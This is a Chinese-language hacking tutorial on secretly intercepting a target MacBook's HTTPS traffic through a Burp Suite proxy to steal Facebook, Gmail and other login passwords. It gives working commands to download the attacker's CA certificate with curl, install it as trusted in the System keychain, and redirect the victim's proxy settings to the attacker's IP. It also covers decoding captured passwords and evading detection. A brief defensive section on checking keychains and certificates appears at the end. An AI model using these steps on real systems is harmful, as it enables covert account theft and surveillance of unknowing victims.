只需几个命令即可操作MacBook的安全HTTPS流量,并从加密数据中提取登录密码。让我们通过实时截取Safari和谷歌Chrome网络流量,将Facebook和Gmail黑客攻击提升到新的水平。
Facebook和Gmail都有出色的Web应用程序安全实践。他们很快将黑名单列入黑名单,以便在仅几次失败的登录尝试后执行暴力攻击和锁定帐户。
此外,通过新IP地址或不同的Web浏览器进行的成功登录将触发这些网站进一步验证登录; 这可能意味着将目标的童年朋友与他们的Facebook个人资料图片匹配,或者提供发送到目标智能手机的一次性使用代码。
事实上,通常会更容易破坏目标的操作系统来获取凭据而不是猜测目标的用户密码。
不要错过:如何用自毁的有效载荷来破解Mojave 10.14
本文特别侧重于在共享的Wi-Fi网络上学习目标macOS用户的Facebook和Gmail密码。接下来,读者需要访问目标的MacBook才能执行此攻击。这可以使用各种方法完成; 只需一些物理访问时间,MacBook就可以使用单用户模式攻击进行攻击。或者,将目标社交工程化为在USB驱动器上打开木马化文件可能是最佳的。
了解攻击
基本上,我们将强制目标的Safari或Chrome浏览器将所有HTTP和HTTPS流量发送到Burp Suite代理我们控制。收到网络流量后,Burp将能够实时解释所有HTTPS数据。通常情况下,此类活动是不可能的,但我们会秘密配置目标操作系统,使其信任我们的代理使用的SSL证书。
对于之前已将浏览器配置为使用Burp代理的读者来说,这正是我们对目标浏览器所做的 - 但完全没有他们的知识。
不要错过:使用Burp Suite和SQL Injection攻击Web应用程序
我们首先在Kali Linux中设置Burp以拦截流量。然后,从我们的后门,我们将下载并将Burp证书导入目标的钥匙串,以便他们的Safari或Chrome浏览器不会提醒他们任何可疑的证书活动。最后,我们将配置MacBook以将所有HTTP和HTTPS流量发送到我们的Burp代理。
我们的攻击需要root权限,因为无法将证书作为普通用户导入macOS Keychain。根可以通过物理backdooring目标的MacBook或执行特权升级攻击,比如可以实现密码的钓鱼网站,利用帝国到转储目标的密码哈希,或者倾销他们的浏览器缓存,或许发现他们经常重复使用的密码。
不要错过:如何使用一个Ruby命令破解MacBook
步骤1安装Burp Suite(如有必要)
根据您的Kali Linux版本,可能尚未安装Burp Suite。要安装Burp,请使用以下apt-get命令。
apt-get update && apt-get install burpsuite
第2步设置Burp套件
打开Burp,单击“代理”选项卡,然后单击“选项”选项卡,并单击“ 代理侦听器 ”下的“编辑”按钮。在指定的位置输入所需的绑定端口; 我使用的是9999,因为它很容易记住,但是,这个数字是任意的。
接下来,指定要监听的地址; 此攻击适用于本地网络,因此应使用192.168.1.xx地址。我在内部实验室中执行此操作,因此攻击者的本地IP地址为10.42.0.1。如果有疑问,请使用“所有接口”选项。
单击“确定”以保存更改。然后,导航回“拦截”选项卡并确保“拦截已关闭”。禁用此选项将允许目标的Web流量不间断地流动,同时继续将我们的设备用作代理。
不要错过:如何秘密地直播某人的MacBook屏幕
第3步下载Burp证书
利用我们的后门进入MacBook,我们首先需要从我们的Burp代理下载Burp证书。使用下面的curl命令执行此操作。
curl -s --insecure --proxy http://10.42.0.1:9999 http://burp/cert -o /tmp/burp.der
在上面的命令中,curl将默默地(-s)从我们的Kali机器下载证书。该--proxy因为我们指示卷曲使用新配置的打嗝监听来获取证书参数是必需的; curl(或任何Web浏览器)默认不信任此证书,因此需要--insecure参数忽略输出中的警告。最后,将Burp证书(-o)保存到/ tmp目录,文件名为burp.der。.der文件扩展名仅是证书的默认文件格式,不应更改。
第4步导入Burp证书
现在,使用以下安全性命令导入下载到目标的Keychain中的Burp证书。
security add-trusted-cert -k /Library/Keychains/System.keychain -d /tmp/burp.der
安全性将添加(add-trusted-cert)并完全信任证书(-d /tmp/burp.der)到macOS主系统Keychain(-k)中。我们现在要做的就是配置macOS向我们发送所有目标的网络流量。
步骤5配置MacBook代理设置
此时,我们可以使用我们的后门静默配置目标MacBook,以便向我们发送其所有HTTP和HTTPS Web流量。
网络设置是一个命令行工具,用于在macOS系统偏好设置中配置网络设置。通过命令行使用networksetup就像直接在macOS中对网络首选项进行更改一样,就好像我们坐在MacBook前面一样。
使用以下networksetup命令和-listallnetworkservices参数显示可用服务。
/usr/sbin/networksetup -listallnetworkservices
iPhone USB
Wi-Fi
Bluetooth PAN
Thunderbolt Bridge
请注意这里的“Wi-Fi”服务。这是我们最有可能需要修改的服务。如果目标使用外部无线适配器,它也可能出现在此处。在这种情况下,攻击者需要修改这些代理设置。
不要错过:如何使用任何人的MacBook麦克风进行远程窃听
以下-getwebproxy(HTTP)和-getsecurewebproxy(HTTPS)参数可用于查看目标可能已自行配置的任何当前现有代理设置。
/usr/sbin/networksetup -getwebproxy "Wi-Fi"
Enabled: No
Server:
Port: 0
Authenticated Proxy Enabled: 0
/usr/sbin/networksetup -getsecurewebproxy "Wi-Fi"
Enabled: No
Server:
Port: 0
Authenticated Proxy Enabled: 0
我们可以看到,HTTP和HTTPS代理都被禁用。这是一件好事,因为这意味着目标可能永远不会改变他们的代理设置,如果应用程序开始奇怪地行动,他们就不会想到那里。
要强制目标的HTTP和HTTPS Web流量通过我们的Burp代理进行路由,请使用以下命令。
/usr/sbin/networksetup -setwebproxy "Wi-fi" 10.42.0.1 9999
/usr/sbin/networksetup -setsecurewebproxy "Wi-fi" 10.42.0.1 9999
请记住将攻击者的IP地址(10.42.0.1)更改为本地网络地址。如果您选择使用9999以外的端口号,请务必在上述命令中更改该端口号。新配置的代理设置将立即生效。
第6步捕获Facebook密码
返回Burp Suite,导航到“HTTP历史记录”选项卡,实时查看目标的网络流量。密切关注在“ 方法”列中找到的POST请求,因为它们将保留最妥协的数据。例如,Facebook电子邮件地址和密码显示在下面的屏幕截图中。
由于Facebook明确定义了“ email = ”和“pass = ”参数,因此很容易识别目标的电子邮件([email protected])及其密码。
第7步捕获Gmail密码
但是,像Gmail这样的网站更难管理 - 特别是当目标使用包含许多特殊字符的强密码时。特殊字符由我们的Web浏览器自动编码,因此密码更难以在编码的乱码墙中发现(如下所示)。
密码示例:g $ FR3eDW&ujYH6I {* 5aa
编码为:g%24FR3eDW%26ujYH6I%7B *%5D5aa
我们可以看到,这就像试图在大海捞针中找到一根针。诀窍是隔离问题。在撰写本文时,Gmail将用户的编码密码存储在“ f.req = ”参数中(如下所示)。
突出显示整个参数,然后复制文本。然后,打开Burp中的“Decoder”选项卡并将编码后的文本粘贴到顶部窗口中。单击“解码为”按钮,然后选择“URL”选项。
不要错过:如何在MacBook上安装持久帝国后门
现在,底部窗口将以稍微可读的格式显示已解码的文本。复制解码后的文本并将其粘贴到首选文本编辑器(Gedit,Geany等)中。
我们可以看到数据以类似数组的格式用逗号(,)分隔。对于Gmail,密码位于第八个和第九个逗号之间的引号中(如下所示)。
Facebook和Gmail只是两个例子。对于我们拦截的每次登录,包含电子邮件地址和密码的参数可能会有所不同。对于以不同方式处理身份验证并具有最先进安全实践的前100个网站尤其如此。我们鼓励读者测试针对其目标网站的攻击(如果Facebook不是您的目标),以了解它如何处理登录参数以更轻松地定位密码。
步骤8禁用目标MacBook上的代理
完成攻击后,请记住禁用先前配置的代理设置。否则,目标将在您与Wi-Fi网络断开连接后很长时间内继续将其网络流量发送到您的IP地址。此类活动可能会引起怀疑,因为如果没有您的Burp代理,目标将无法访问互联网。
要禁用目标MacBook上的代理设置,请使用以下networksetup命令。
/usr/sbin/networksetup -setwebproxystate "Wi-fi" off
/usr/sbin/networksetup -setsecurewebproxystate "Wi-fi" off
改善攻击
有很多观点可以改进这种攻击。
选项1使用Mitmproxy进行远程黑客攻击
作为替代方案,Mitmproxy可用于截取,检查,修改和重放Web流量,就像Burp一样。虽然Burp更加开发和功能齐全,但Mitmproxy有一个能够在虚拟专用服务器上轻松运行的命令行界面。使用VPS将允许攻击者在不同Wi-Fi网络之间移动时拦截目标的网络流量。
选项2Firefox警告
配置macOS以使用Burp代理也会强制Firefox将其所有请求代理到攻击者的设备。但是,与Safari和Chrome不同,将Burp证书导入macOS Keychain不会影响Firefox; 这是因为Firefox独立验证证书并且不使用macOS Keychain。如果目标同时使用Safari或Chrome和Firefox,他们可能会注意到可疑活动。下面是Firefox检测Burp证书的示例。
选项3配置为使用macOS代理的其他应用程序
与Firefox一样,Spotify,Skype,Opera网络浏览器,VLC和Thunderbird等应用程序也可以在不使用macOS Keychain的情况下验证证书。这可能导致应用程序通知目标用户可疑活动或完全中断。
不幸的是,在配置Burp代理之后,我没有开始测试流行的第三方应用程序。我们鼓励读者继续这项研究,并在真实场景中执行此攻击之前,了解这些应用程序是否受代理影响。
选项4自定义SSL证书
在本指南中,我们学会了使用Burp Suite自动生成的默认SSL证书。如果目标用户在其Safari或Chrome浏览器中检查证书,他们会注意到“PortSwigger CA”证书(如下所示)。Burp Suite的创建者PortSwigger显然是该证书的发行者,因此这将是一个直接的危险信号。使用令人信服的域名创建唯一证书实际上可能会阻止目标识别欺诈性证书。
不要错过:如何在不到2小时内破解200个在线用户帐户
如何保护自己免受钥匙串和基于SSL的攻击
这里没有简单的解决方案。防病毒软件不会将导入的Burp证书标记为可疑,因此我们有责任定期监控我们的钥匙串是否有异常活动。
此外,如果攻击者具有root权限并将证书导入您的操作系统 - 您需要处理更大的问题。识别系统上的攻击者可能非常困难。但是,以下解决方案可能有所帮助。
提示1检查您的钥匙串
我们不能依靠流行的防病毒软件来监管我们的证书。可以通过在Spotlight中搜索“keychain”来打开钥匙串。不要害怕环顾四周。可以扩展和分析证书详细信息。如果您没有放置某些东西,请不要因为过去安装的合法应用程序而感到惊慌。
对于我们不确定的证书,我们可以谷歌和/或咨询支持社区,如Apple官方支持社区,Apple StackExchange和Information Security StackExchange。
提示2检查代理设置
代理设置有点难以定位。使用Spotlight搜索“代理”,然后单击“高级”按钮。然后,单击“代理”选项卡并突出显示“Web代理(HTTP)”和“安全Web代理(HTTPS)”选项卡。如果您没有自己设置这些代理,则可以安全地取消选中它们并单击“确定”按钮。
提示3检查浏览器证书
在登录网站之前,检查SSL证书通常是个好主意。这可以在Safari和Chrome中完成,方法是单击URL栏中的锁定图标,然后单击“显示证书”或“证书”按钮。此按钮将打开一个带有证书详细信息的新停留窗口。单击“详细信息”选项,然后向下滚动到证书底部的SHA-256和SHA-1指纹。
现在,使用其他设备(如另一台笔记本电脑或智能手机),再次检查网站证书并比较指纹 - 这些指纹应完全匹配。如果您的所有设备之间的指纹不匹配,这可能是欺诈性证书生效的标志。
提示4检查您的网站流量
Wireshark是识别源自您机器的可疑流量的绝佳工具。如果攻击者建立了后门,他们可能会使用Netcat或Python以固定的时间间隔在您和他们的服务器之间创建TCP连接。在下面的屏幕截图中,我们可以看到攻击者(10.42.0.1)在端口4444上向目标MacBook(10.42.0.98)发出命令。
超越Facebook和Gmail黑客攻击
虽然本文使用Facebook和Gmail作为示例,但以这种方式操纵MacBook的网络流量实际上将允许攻击者拦截目标访问的每个网站的所有HTTPS流量。这意味着亚马逊,Twitter,Instagram,雅虎和银行登录将被拦截并立即受到攻击 - 即使目标已经登录。